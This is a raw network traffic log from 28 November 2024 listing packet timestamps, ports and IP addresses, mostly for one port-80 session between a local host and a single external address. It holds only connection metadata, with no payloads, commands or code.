Nov 28, 2024 17:24:41.491225958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.493522882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.493563890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.493613958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.493650913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.495831013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.495882034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.495907068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.495942116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.498347998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.498393059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.498425007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.498667002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.500549078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.500612020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.500700951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.500868082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.505094051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.505105972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.505140066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.505162954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.506160021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.506206036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.506206989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.506242990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.508550882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.508622885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.508831978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.508886099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.510921955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.511003017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.511024952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.511060953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.513325930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.513381958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.513384104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.513416052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.515697002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.515708923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.515752077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.518011093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.518060923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.518119097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.518158913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.520400047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.520442963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.520457983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.520478010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.522772074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.522840977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.522882938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.522921085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.525249004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.525290966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.525321007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.525355101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.527578115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.527621031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.527762890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.527807951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.529890060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.529938936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.530050039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.530082941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.532308102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.532351971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.532357931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.532387972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.534657955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.534704924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.534816027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.534851074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.537000895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.537149906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.537211895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.539387941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.539458990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.539505005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.539540052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.541740894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.541778088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.541821957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.544086933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.544198036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.544198990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.544238091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.546475887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.546531916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.546580076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.546614885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.548882961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.548917055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.548927069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.548959017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.549518108 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.549525023 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.551253080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.551322937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.551548958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.551603079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.553611994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.553623915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.553663969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.553688049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.555910110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.555986881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.556022882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.556063890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.558336020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.558376074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.558396101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.558419943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.560658932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.560718060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.560756922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.560831070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.563021898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.563076019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.563143015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.563182116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.565422058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.565546989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.565550089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.565579891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.567734957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.567790985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.567895889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.567936897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.570175886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.570275068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.570336103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.572559118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.572570086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.572629929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.574858904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.574999094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.575061083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.576714993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.576833010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.576859951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.576875925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.578597069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.578742027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.578779936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.578843117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.580342054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.580399990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.580445051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.582042933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.582099915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.582186937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.582237959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.583785057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.583832979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.583903074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.583950996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.585530996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.585659981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.585732937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.587241888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.587282896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.587302923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.587335110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.588921070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.588988066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.589045048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.590598106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.590712070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.590774059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.592214108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.592277050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.592324972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.592359066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.593851089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.593925953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.593966007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.595479012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.595523119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.595577002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.597033978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.597079992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.597178936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.597220898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.598649979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.598685980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.598700047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.598721981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.600207090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.600269079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.600414038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.600491047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.601779938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.601790905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.601834059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.603341103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.603420019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.603449106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.603485107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.604923010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.604978085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.604993105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.605035067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.606383085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.606396914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.606437922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.607819080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.607830048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.607880116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.609328032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.609376907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.609689951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.609740973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.610781908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.610831976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.610981941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.611013889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.612194061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.612252951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.612366915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.612411022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.613662004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.613720894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.613933086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.614240885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.615101099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.615155935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.615225077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.615319014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.616612911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.616648912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.616671085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.616693974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.618047953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.618086100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.618211031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.618370056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.619520903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.619595051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.619613886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.619656086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.620992899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.621047020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.621107101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.622454882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.622514009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.622549057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.622586966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.623929977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.623976946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.657490969 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.715208054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.715250969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.715265989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.715306997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.715569973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.715615988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.715650082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.716614962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.716659069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.716660023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.716697931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.717165947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.717206001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.717289925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.717327118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.718003035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.718035936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.718043089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.718072891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.718791008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.718835115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.718887091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.719230890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.719566107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.719611883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.719685078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.719723940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.720423937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.720465899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.720493078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.720525026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.721167088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.721216917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.721250057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.721290112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.721915960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.721957922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.722032070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.722078085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.722804070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.722841978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.722870111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.722971916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.723490000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.723527908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.723565102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.723602057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.724292994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.724330902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.724436045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.724467039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.725087881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.725131035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.725166082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.725198984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.725898981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.725945950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.726018906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.726058006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.726640940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.726690054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.726692915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.726722956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.727530956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.727623940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.727663040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.727700949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.728202105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.728388071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.728414059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.728429079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.728954077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.728967905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.729001045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.729840994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.729892969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.729903936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.729947090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.730614901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.730667114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.730700970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.730740070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.731333017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.731343985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.731389999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.732067108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.732115030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.732121944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.732163906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.732848883 CET	80	49813	185.215.113.206	192.168.2.6
